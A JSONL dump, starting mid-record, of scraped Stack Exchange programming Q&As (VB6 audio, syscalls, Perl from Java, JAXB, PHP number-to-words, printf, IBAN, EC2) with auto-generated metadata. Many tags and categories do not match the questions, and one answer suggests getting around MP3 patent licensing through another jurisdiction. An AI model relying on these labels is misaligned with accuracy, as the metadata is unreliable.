"quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:00.466934"}
{"id": "hf_280eeecc9e9d", "question": "<p>I need help converting WAV files to MP3 format in VB6. I did already find <a href=\"http://www.codeproject.com/KB/audio-video/MP3Compressor/MP3Compressor.zip\" rel=\"nofollow noreferrer\">source code in C#</a>, but I can't use that</p>\n", "question_body": "", "answer": "AFAIK, MP3 compression is under a patent, you can do that legally only by buying a license.\nOr, like many other softwares, use the Lame DLL without distributing it but asking to download it in a site not under the same laws...\nSomehow, that's how Opera does with GPL software: they don't provide spelling correction out of the box but they instruct to download and install aspell...\nNote you can use free alternatives, like Ogg Vobis, it depends on your purpose.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:00.617704"}
{"id": "hf_4ee0201f936d", "question": "<h3>Are there differences between the amount of syscalls in the major *NIX variants ?</h3>\n<h3>Which syscalls would be supported universally ?</h3>\n", "question_body": "", "answer": "Anything that is not a posix standard may be an additional system call, or it maybe additional library functionality above the system call layer. If your goal is to write portable code stick to posix, and use the c library (as opposed to direct system calls) as much as possible.\nIf you are just curious, they vary quite widely. You do not need to support much in the way of system calls in order to be posix compliant. It specifies interfaces you need to support, but whether you do that through calling into the kernel or jumping into a shared library is pretty much up to you.\nMac OS X does not even guarantee binary compatibility for system calls between releases, they consider them private interfaces between the system libraries and the OS. What most people consider to be system calls are actually small stubs in a dynamic library that call through to the kernel, and if you make the system calls directly instead of linking to that dynamic library and calling the stub functions then your code may break between OS releases.\nThat flexibility means a number of OSes implement system calls that are completely different from what they need to support posix, then deal with the differences in their libraries. For example, Linux's threading implementation is based around a system call called clone(), and they deal with much of the bookkeeping to make the pthreads interface work in their libraries.\nSo if your goal is to implement a standard library the does not link against anything else and works on multiple unixes, you may find things a bit tricky in some cases. If your goal is to write something that links against the standard libraries on various Unixes you can get a generally uniform interface.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:00.766739"}
{"id": "hf_84ccb64976af", "question": "<p>Can any one tell me what files I need to submit to the Apple appstore when I submit my application?</p>\n\n<p>As an example, do the Resource file, Digital Developer certificate files and others need to be submitted? </p>\n\n<p>Please help me understand this process, or show me a resource on the web where I can learn more.</p>\n", "question_body": "", "answer": "This is pretty well documented by Apple in the \"\niPhone Developer Program Portal User Guide\n\" -- see the Distribution section starting on page 28.\nThe only files you send them are screen-shots of your app, a large version of the icon and a zipped copy of your app. The resource file, certificate, etc. are all included in the copy of your app or used to build/sign your app.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:00.883936"}
{"id": "hf_91feee2e25a8", "question": "<p>I have a Perl module that I would like to use from Java. Is there a way to call this code using either ActiveState Perl on Windows or the generic Perl that comes with Linux? I have found references to JPL but it doesn’t appear to be maintained anymore.</p>\n", "question_body": "", "answer": "Inline-Java\nis the usual library to call java from Perl, and this\npost propose a\norg.perl.java\nmodule which should allow calling Perl from Java, as asked.\nHowever, because of the unpredictability of the JNI implementations for different\nJVMs it is difficult to say what combinations of JVM and Perl will work. Typically, what is required is Perl with MULTIPLICITY, and threads compiled in. That means he uses a custom built Perl.\nOtherwise,\nInline::Java::Callback\nallows you to call Perl functions from Java. To do this you need to create an\n```\norg.perl.inline.java.InlinePerlCaller\n```\nobject. Here is a example of a typical use:\n```\n```\nuse Inline Java => <<END ;\nimport java.util.* ;\nimport org.perl.inline.java.* ;\n\nclass Pod_regexp extends InlineJavaPerlCaller {\n    public Pod_regexp() throws InlineJavaException {\n    }\n\n    public boolean match(String target, String pattern)\n        throws InlineJavaException {\n        try {\n            String m = (String)CallPerlSub(\"main::regexp\",\n            new Object [] {target, pattern}) ;\n\n            if (m.equals(\"1\")){\n            return true ;\n        }\n    }\n    catch (InlineJavaPerlException pe){\n        // $@ is in pe.GetObject()\n    }\n\n    return false ;\n    }\n}\nEND\n\nmy $re = new Pod_regexp() ;\nmy $match = $re->match(\"Inline::Java\", \"^Inline\") ;\nprint($match . \"n\") ; # prints 1\n\nsub regexp {\n    my $target = shift ;\n    my $pattern = shift ;\n\n    return ($target =~ /$pattern/) ;\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:01.014349"}
{"id": "hf_995d2bd8238f", "question": "<p>I would like to be able to set \"Extend my Windows desktop onto this monitor\" via code. A PowerShell script would be ideal. WMI seems the way forward but I have zero knowledge in WMI.</p>\n", "question_body": "", "answer": "One first possible solution is... through the GUI (but without user interaction)\nVB script\n(also\ndescribed here\nbut in\nAutoit\nlanguage):\n```\n```\nOption Explicit\nDim WshShell, Dummy, Splash\n\nOn Error Resume Next\n\nSet WshShell = WScript.CreateObject(\"WScript.Shell\")\n\n'Main\nCall DoIt\nWScript.Quit\n\nSub DoIt\nwshshell.Run(\"%systemroot%\\system32\\control.exe desk.cpl,@0,3\")\n\n' Give Display Properties time to load\nWScript.Sleep 1000\nWshShell.SendKeys \"2\"\nWScript.Sleep 10\nWshShell.SendKeys \"%E\"\nWScript.Sleep 500\nWshShell.SendKeys \"%A\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{TAB}\"\nWshShell.SendKeys \"{ENTER}\"\nEnd Sub 'DoIt\n```\n```\nIn Autoit, that would be:\n```\n```\n;\n; — toggle-screen.au3\n;\n\n; exec cpanel app `display settings`\nRun(”C:\\WINDOWS\\system32\\control.exe desk.cpl,@0,3?”)\n\n; wait for window to be active\nWinWaitActive(”Display Settings”)\n\n; select 2nd display\nSend(”{TAB}”)\nSend(”{DOWN}”)\n\n; work back to the ‘extend desktop’ control\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\nSend(”+{TAB}”)\n\n; toggle ‘extend desktop’ control and apply\nSend(”{SPACE}”)\nSend(”{ENTER}”)\n\n; wait for window to be active\nWinWaitActive(”Display Settings”)\n\n; accept\nSend(”{TAB}”)\nSend(”{ENTER}”)\n\n;\n; — E.O.F.\n;\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:01.183894"}
{"id": "hf_704c4a5ef47d", "question": "<p>I'm writing a Linux kernel module that needs to open and read files. What's the best way to accomplish that?</p>\n", "question_body": "", "answer": "assuming you can get pointers to the relavent function pointers to the\n```\nopen\n```\n/\n```\nread\n```\n/\n```\nclose\n```\nsystem calls, you can do something like this:\n```\n```\nmm_segment_t fs = get_fs();\nset_fs(KERNEL_DS);\n\nfd = (*syscall_open)(file, flags, mode);\nif(fd != -1) {\n    (*syscall_read)(fd, buf, size);\n    (*syscall_close)(fd);\n}\nset_fs(fs);\n```\n```\nyou will need to create the \"\n```\nsyscall_*\n```\n\" function pointers I have shown though. I am sure there is a better way, but I believe that this would work.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:01.356464"}
{"id": "hf_ad6d1d71f1b1", "question": "<p>I use the dark-blue2 color theme but it seems ugly under console.\nSo I want to use no color theme under terminal, what can I do then?</p>\n", "question_body": "", "answer": "Set a \"TERM\" variable corresponding to a monochrome terminal before launching Emacs. For example, if you are in an xterm, use:\n```\n```\nTERM=xterm-mono emacs -nw\n```\n```\nIf by \"console\" you mean the Linux console in text mode, you can try using \"vt100\" (or \"vt320\") instead.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:01.580330"}
{"id": "hf_48ab5824b02e", "question": "<p>How would I go about having a CMake buildsystem, which scans for source files now using <a href=\"http://www.cmake.org/cmake/help/cmake2.6docs.html#command:aux_source_directory\" rel=\"noreferrer\">AUX_SOURCE_DIRECTORY</a>, scan for header files too in the same directory, preferably using a similar command?</p>\n\n<p>I didn't find an easy way to do this in the documentation yet, so I now have a crappy bash script to post-process my (CodeBlocks) project file...</p>\n", "question_body": "", "answer": "The documentation to AUX_SOURCE_DIRECTORY suggests that it was not intended to be used that way, so I'd rather doubt that what you're asking is possible. If you want an authoritative answer, you can reach the CMake developers at cmake@cmake.org (they're actually very nice to deal with).\nI'd recommend strongly against using wildcards to specify what is included in the build. The build files should specify the exact contents of the libraries, and not depend on what happens to exist in the directory. It may be cumbersome at first (if you're used to wildcards, or IDE's which works the same way), but when you get used to it, you don't want to have it any other way.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:01.685558"}
{"id": "hf_14eb26ae612f", "question": "<p>I'm brand new to jQuery and have some experience using Prototype. In Prototype, there is a method to \"flash\" an element &mdash; ie. briefly highlight it in another color and have it fade back to normal so that the user's eye is drawn to it. Is there such a method in jQuery? I see fadeIn, fadeOut, and animate, but I don't see anything like \"flash\". Perhaps one of these three can be used with appropriate inputs?</p>\n", "question_body": "", "answer": "Would a\npulse effect\n(offline) JQuery plugin be appropriate for what you are looking for ?\nYou can add a duration for limiting the pulse effect in time.\nAs mentioned by\nJ-P\nin the comments, there is now\nhis\nupdated pulse plugin\n.\nSee his\nGitHub repo\n. And here is\na demo\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:01.828292"}
{"id": "hf_42c1deb71af6", "question": "<p>I am interested if there is a port for the server implementation.</p>\n", "question_body": "", "answer": "Windows Server ports:\nmemcached for Win32\nJellycan Code - memcached\nMemcached .NET Client ports:\nmemcacheddotnet\nenyim.com Memcached Client\nBeIT", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:02.145582"}
{"id": "hf_45d0fc651ac8", "question": "<p>I have noticed that our VMWare VMs often have the incorrect time on them. No matter how many times I reset the time they keep on desyncing.</p>\n\n<p>Has anyone else noticed this? What do other people do to keep their VM time in sync?</p>\n\n<p><strong>Edit:</strong> These are CLI linux VMs btw..</p>\n", "question_body": "", "answer": "The CPU speed varies due to power saving. I originally noticed this because VMware gave me a helpful tip on my laptop, but this page mentions the same thing:\nQuote from :\nVMWare tips and tricks\nPower saving (SpeedStep, C-states, P-States,...)\nYour power saving settings may interfere significantly with vmware's performance. There are several levels of power saving.\nCPU frequency\nThis should not lead to performance degradation, outside of having the obvious lower performance when running the CPU at a lower frequency (either manually of via governors like \"ondemand\" or \"conservative\"). The only problem with varying the CPU speed while vmware is running is that the Windows clock will gain of lose time. To prevent this, specify your full CPU speed in kHz in /etc/vmware/config\nhost.cpukHz = 2167000", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:02.271861"}
{"id": "hf_7fae9722618d", "question": "<p>Do you have pseudocode for field validation of the following items in the UK? I am from the USA, so I only know the ones in the USA right now.</p>\n\n<ul>\n<li>Address Line 1</li>\n<li>Phone Number</li>\n<li>Mobile Number (in case they have a special rule for this, which they might not)</li>\n<li>Post Code</li>\n</ul>\n", "question_body": "", "answer": "Address line 1 could be almost anything. There aren't always house numbers.\nPhone numbers: the length of an area code varies. I wouldn't like to swear whether the full length is constant, but I suspect it's always at least 10 digits. Mobile numbers typically (IME) start with 07 whereas landlines typeically start with 01 or 02. Special numbers (free, local rate etc) typically start with 08. I'll try to find a reference for this. (EDIT: Again, there's a good\nWikipedia article\n.)\nWikipedia has a\ngood article about UK postcodes\n, including regular expressions for them.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:02.455621"}
{"id": "hf_d13094c1cc70", "question": "<p>My schema specifies a namespace, but the documents don't. What's the simplest way to ignore namespace during JAXB unmarshalling (XML -> object)?</p>\n\n<p>In other words, I have</p>\n\n<pre><code>&lt;foo&gt;&lt;bar&gt;&lt;/bar&gt;&lt;/foo&gt;\n</code></pre>\n\n<p>instead of,</p>\n\n<pre><code>&lt;foo xmlns=\"http://tempuri.org/\"&gt;&lt;bar&gt;&lt;/bar&gt;&lt;/foo&gt;\n</code></pre>\n", "question_body": "", "answer": "I believe you must\nadd the namespace\nto your xml document, with, for example, the use of a\nSAX filter\n.\nThat means:\nDefine a ContentHandler interface with a new class which will intercept SAX events before JAXB can get them.\nDefine a XMLReader which will set the content handler\nthen link the two together:\n```\n```\npublic static Object unmarshallWithFilter(Unmarshaller unmarshaller,\njava.io.File source) throws FileNotFoundException, JAXBException \n{\n    FileReader fr = null;\n    try {\n        fr = new FileReader(source);\n        XMLReader reader = new NamespaceFilterXMLReader();\n        InputSource is = new InputSource(fr);\n        SAXSource ss = new SAXSource(reader, is);\n        return unmarshaller.unmarshal(ss);\n    } catch (SAXException e) {\n        //not technically a jaxb exception, but close enough\n        throw new JAXBException(e);\n    } catch (ParserConfigurationException e) {\n        //not technically a jaxb exception, but close enough\n        throw new JAXBException(e);\n    } finally {\n        FileUtil.close(fr); //replace with this some safe close method you have\n    }\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:02.600339"}
{"id": "hf_dab95d0b75b6", "question": "<p>In PHP, is there an easy way to convert a number to a word? For instance, <em>27</em> to <em>twenty-seven</em>.</p>\n", "question_body": "", "answer": "I\nfound\nsome (2007/2008) source-code online and as it is copyright but I can use it freely and modify it however I want, so I place it here and re-license under CC-Wiki:\n```\n```\n<?php\n/**\n * English Number Converter - Collection of PHP functions to convert a number\n *                            into English text.\n *\n * This exact code is licensed under CC-Wiki on Stackoverflow.\n * http://creativecommons.org/licenses/by-sa/3.0/\n *\n * @link     http://stackoverflow.com/q/277569/367456\n * @question Is there an easy way to convert a number to a word in PHP?\n *\n * This file incorporates work covered by the following copyright and\n * permission notice:\n *\n *   Copyright 2007-2008 Brenton Fletcher. http://bloople.net/num2text\n *   You can use this freely and modify it however you want.\n */\n\nfunction convertNumber($number)\n{\n    list($integer, $fraction) = explode(\".\", (string) $number);\n\n    $output = \"\";\n\n    if ($integer{0} == \"-\")\n    {\n        $output = \"negative \";\n        $integer    = ltrim($integer, \"-\");\n    }\n    else if ($integer{0} == \"+\")\n    {\n        $output = \"positive \";\n        $integer    = ltrim($integer, \"+\");\n    }\n\n    if ($integer{0} == \"0\")\n    {\n        $output .= \"zero\";\n    }\n    else\n    {\n        $integer = str_pad($integer, 36, \"0\", STR_PAD_LEFT);\n        $group   = rtrim(chunk_split($integer, 3, \" \"), \" \");\n        $groups  = explode(\" \", $group);\n\n        $groups2 = array();\n        foreach ($groups as $g)\n        {\n            $groups2[] = convertThreeDigit($g{0}, $g{1}, $g{2});\n        }\n\n        for ($z = 0; $z < count($groups2); $z++)\n        {\n            if ($groups2[$z] != \"\")\n            {\n                $output .= $groups2[$z] . convertGroup(11 - $z) . (\n                        $z < 11\n                        && !array_search('', array_slice($groups2, $z + 1, -1))\n                        && $groups2[11] != ''\n                        && $groups[11]{0} == '0'\n                            ? \" and \"\n                            : \", \"\n                    );\n            }\n        }\n\n        $output = rtrim($output, \", \");\n    }\n\n    if ($fraction > 0)\n    {\n        $output .= \" point\";\n        for ($i = 0; $i < strlen($fraction); $i++)\n        {\n            $output .= \" \" . convertDigit($fraction{$i});\n        }\n    }\n\n    return $output;\n}\n\nfunction convertGroup($index)\n{\n    switch ($index)\n    {\n        case 11:\n            return \" decillion\";\n        case 10:\n            return \" nonillion\";\n        case 9:\n            return \" octillion\";\n        case 8:\n            return \" septillion\";\n        case 7:\n            return \" sextillion\";\n        case 6:\n            return \" quintrillion\";\n        case 5:\n            return \" quadrillion\";\n        case 4:\n            return \" trillion\";\n        case 3:\n            return \" billion\";\n        case 2:\n            return \" million\";\n        case 1:\n            return \" thousand\";\n        case 0:\n            return \"\";\n    }\n}\n\nfunction convertThreeDigit($digit1, $digit2, $digit3)\n{\n    $buffer = \"\";\n\n    if ($digit1 == \"0\" && $digit2 == \"0\" && $digit3 == \"0\")\n    {\n        return \"\";\n    }\n\n    if ($digit1 != \"0\")\n    {\n        $buffer .= convertDigit($digit1) . \" hundred\";\n        if ($digit2 != \"0\" || $digit3 != \"0\")\n        {\n            $buffer .= \" and \";\n        }\n    }\n\n    if ($digit2 != \"0\")\n    {\n        $buffer .= convertTwoDigit($digit2, $digit3);\n    }\n    else if ($digit3 != \"0\")\n    {\n        $buffer .= convertDigit($digit3);\n    }\n\n    return $buffer;\n}\n\nfunction convertTwoDigit($digit1, $digit2)\n{\n    if ($digit2 == \"0\")\n    {\n        switch ($digit1)\n        {\n            case \"1\":\n                return \"ten\";\n            case \"2\":\n                return \"twenty\";\n            case \"3\":\n                return \"thirty\";\n            case \"4\":\n                return \"forty\";\n            case \"5\":\n                return \"fifty\";\n            case \"6\":\n                return \"sixty\";\n            case \"7\":\n                return \"seventy\";\n            case \"8\":\n                return \"eighty\";\n            case \"9\":\n                return \"ninety\";\n        }\n    } else if ($digit1 == \"1\")\n    {\n        switch ($digit2)\n        {\n            case \"1\":\n                return \"eleven\";\n            case \"2\":\n                return \"twelve\";\n            case \"3\":\n                return \"thirteen\";\n            case \"4\":\n                return \"fourteen\";\n            case \"5\":\n                return \"fifteen\";\n            case \"6\":\n                return \"sixteen\";\n            case \"7\":\n                return \"seventeen\";\n            case \"8\":\n                return \"eighteen\";\n            case \"9\":\n                return \"nineteen\";\n        }\n    } else\n    {\n        $temp = convertDigit($digit2);\n        switch ($digit1)\n        {\n            case \"2\":\n                return \"twenty-$temp\";\n            case \"3\":\n                return \"thirty-$temp\";\n            case \"4\":\n                return \"forty-$temp\";\n            case \"5\":\n                return \"fifty-$temp\";\n            case \"6\":\n                return \"sixty-$temp\";\n            case \"7\":\n                return \"seventy-$temp\";\n            case \"8\":\n                return \"eighty-$temp\";\n            case \"9\":\n                return \"ninety-$temp\";\n        }\n    }\n}\n\nfunction convertDigit($digit)\n{\n    switch ($digit)\n    {\n        case \"0\":\n            return \"zero\";\n        case \"1\":\n            return \"one\";\n        case \"2\":\n            return \"two\";\n        case \"3\":\n            return \"three\";\n        case \"4\":\n            return \"four\";\n        case \"5\":\n            return \"five\";\n        case \"6\":\n            return \"six\";\n        case \"7\":\n            return \"seven\";\n        case \"8\":\n            return \"eight\";\n        case \"9\":\n            return \"nine\";\n    }\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:02.778982"}
{"id": "hf_09236031df52", "question": "<p>I keep stumbling on the format specifiers for the printf() family of functions.  What I want is to be able to print a double (or float) with a maximum given number of digits after the decimal point.  If I use:</p>\n\n<pre><code>printf(\"%1.3f\", 359.01335);\nprintf(\"%1.3f\", 359.00999);\n</code></pre>\n\n<p>I get</p>\n\n<pre><code>359.013\n359.010\n</code></pre>\n\n<p>Instead of the desired</p>\n\n<pre><code>359.013\n359.01\n</code></pre>\n\n<p>Can anybody help me?</p>\n", "question_body": "", "answer": "To get rid of the trailing zeros, you should use the \"%g\" format:\n```\n```\nfloat num = 1.33;\nprintf(\"%g\", num); //output: 1.33\n```\n```\nAfter the question was clarified a bit, that suppressing zeros is not the only thing that was asked, but limiting the output to three decimal places was required as well. I think that can't be done with sprintf format strings alone. As\nPax Diablo\npointed out, string manipulation would be required.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:02.895238"}
{"id": "hf_3861c0d76662", "question": "<p>So, lets say I have a number 123456.  123456 % 97 = 72.  How can I determine what two digits need to be added to the end of 123456 such that the new number % 97 = 1?  Note--it must always be two digits.</p>\n\n<p>For example, 123456<strong>76</strong> % 97 = 1.  In this case, I need to add the digits \"76\" to the end of the number.</p>\n\n<p>(This is for IBAN number calculation.)</p>\n", "question_body": "", "answer": "```\n```\nx = 123456\n\nx = x * 100\nnewX = x + 1 + 97 - (x % 97)\n```\n```\nEdit: put the 100 in the wrong place", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.070039"}
{"id": "hf_3688f13ed448", "question": "<p>Is there any c library to get a video from the webcam on linux?</p>\n", "question_body": "", "answer": "Your best bet is probably:\nvideo4linux (V4L)\nIt's easy to use, and powerful.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.221915"}
{"id": "hf_7a2504dc344c", "question": "<p>How do I view the history of an individual file with complete details of what has changed?</p>\n<p><code>git log -- [filename]</code> shows me the commit history of a file, but how do I see the file content that changed?</p>\n", "question_body": "", "answer": "If you're using the\nGit GUI\n(on Windows):\nUnder the\n```\nRepository\n```\nmenu, you can use\n```\nVisualize master's History\n```\n.\nHighlight a commit in the top pane and a file in the lower right and you'll see the diff for that commit in the lower left.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.322748"}
{"id": "hf_32b5081469f5", "question": "<p>Why do Linux distros have different package managers?</p>\n\n<p>I find this very strange because other software such as text editors, desktop environments and graphics software (Inkscape, Blender, GIMP) are shared among distributions. Why not have a common setup tool?</p>\n", "question_body": "", "answer": "There are also many different text-editors, desktop-environments and so on. The different distributions share this only, because they provide all these programs.\nBut they have to decide for one package-manager. Different package-manager wouldn't know about software installed by another package-manager. So distributions decide for one or develop one themself, tailored to their specific needs.\nTwo very common package managers are RPM and apt, that are both used by different distributions.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.431437"}
{"id": "hf_7340979ebca7", "question": "<p>Using C or C++, After I decrypt a file to disk- how can I guarantee it is deleted if the application crashes or the system powers off and can't clean it up properly?  Using C or C++, on Windows and Linux?</p>\n", "question_body": "", "answer": "Try to avoid it completely:\nIf the file is sensitive, the best bet is to not have it written to disk in a decrypted format in the first place.\nProtecting against crashes: Structured exception handling:\nHowever, you could add structured exception handling to catch any crashes.\n__try and __except\nWhat if they pull the plug?:\nThere is a way to protect against this...\nIf you are on windows, you can use MoveFileEx and the option MOVEFILE_DELAY_UNTIL_REBOOT with a destination of NULL to delete the file on the next startup.  This will protect against accidental computer shutdown with an undeleted file.  You can also ensure that you have an exclusively opened handle to this file (specify no sharing rights such as FILE_SHARE_READ and use CreateFile to open it).  That way no one will be able to read from it.\nOther ways to avoid the problem:\nAll of these are not excuses for having a decrypted file on disk, but:\nYou could also consider writing to a file that is larger than MAX_PATH via file syntax of \\\\?\\.   This will ensure that the file is not browsable by windows explorer.\nYou should set the file to have the temporary attribute\nYou should set the file to have the hidden attribute", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.552178"}
{"id": "hf_dd30114759ce", "question": "<p>If I'm reading a text file in shared access mode and another process truncates it, what is the easiest way to detect that?  (I'm excluding the obvious choice of refreshing a FileInfo object periodically to check its size)  Is there some convenient way to capture an event?  (Filewatcher?)</p>\n", "question_body": "", "answer": "There is,\nIt's called\nFileSystemWatcher\n.\nIf you are developing a windows forms application, you can drag-and-drop it from the toolbox.\nHere's some usage example:\n```\n```\nprivate void myForm_Load(object sender, EventArgs e)\n{\n    var fileWatcher = new System.IO.FileSystemWatcher();\n\n    // Monitor changes to PNG files in C:\\temp and subdirectories\n    fileWatcher.Path = @\"C:\\temp\";\n    fileWatcher.IncludeSubdirectories = true;\n    fileWatcher.Filter = @\"*.png\";\n\n    // Attach event handlers to handle each file system events\n    fileWatcher.Changed += fileChanged;\n    fileWatcher.Created += fileCreated;\n    fileWatcher.Renamed += fileRenamed;\n\n    // Start monitoring!\n    fileWatcher.EnableRaisingEvents = true;\n}\n\nvoid fileRenamed(object sender, System.IO.FileSystemEventArgs e)\n{\n    // a file has been renamed!\n}\n\nvoid fileCreated(object sender, System.IO.FileSystemEventArgs e)\n{\n    // a file has been created!\n}\n\nvoid fileChanged(object sender, System.IO.FileSystemEventArgs e)\n{\n    // a file is modified!\n}\n```\n```\nIt's in System.IO and System.dll so you should be able to use it in most type of projects.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.790392"}
{"id": "hf_e7996c49b40d", "question": "<p>I'm considering using Amazon's EC2 with a windows instance &amp; SQL. I've seen <a href=\"http://www.brentozar.com/archive/2008/11/bad-storage-performance-on-amazon-ec2-windows-servers/\" rel=\"noreferrer\">some criticism</a> of the perf of the SQL instances here. I'm wondering if any SOers have and first  hand experience and can comment on the performance.</p>\n", "question_body": "", "answer": "I've just fired up a 32bit Server 2003 m1 small instance with SQL 2005 Express on and had a quick play. Was just using the supplied machine disk, not an attached volume. After reading the article linked to in your post I was expecting performance to be horrific. It wasn't great, but wasn't bad either.\nMy 'tests' were rather simple. Created a table with an identity column, a few text (varchar) colomns and a few more integer foreign key columns with relationships to some basic lookups.\nIt took about a minute to insert 1 million records, and about a second to make updates to 200,000 row blocks of data using Like '% to force a table scan.\nThis doesn't tell us anything about what performance will be like under heavy load.\nConclusion: Not great, but could be worse - especially given the manner in which 'disks' are stored on aws. I don't think this is really the place for a big SQL Server installation, lots of small installations might be a more insteresting prospect. \nI'd also be interested to see what performance was like with the db spead over lots of small attached volumes.\nI'm hoping to use EC2 for an upcoming project and will be doing some more thorough testing over the next few weeks. - I'll post the results as they're available.\nLooking forward to seeing what other peoples experiences have been..", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:03.921456"}
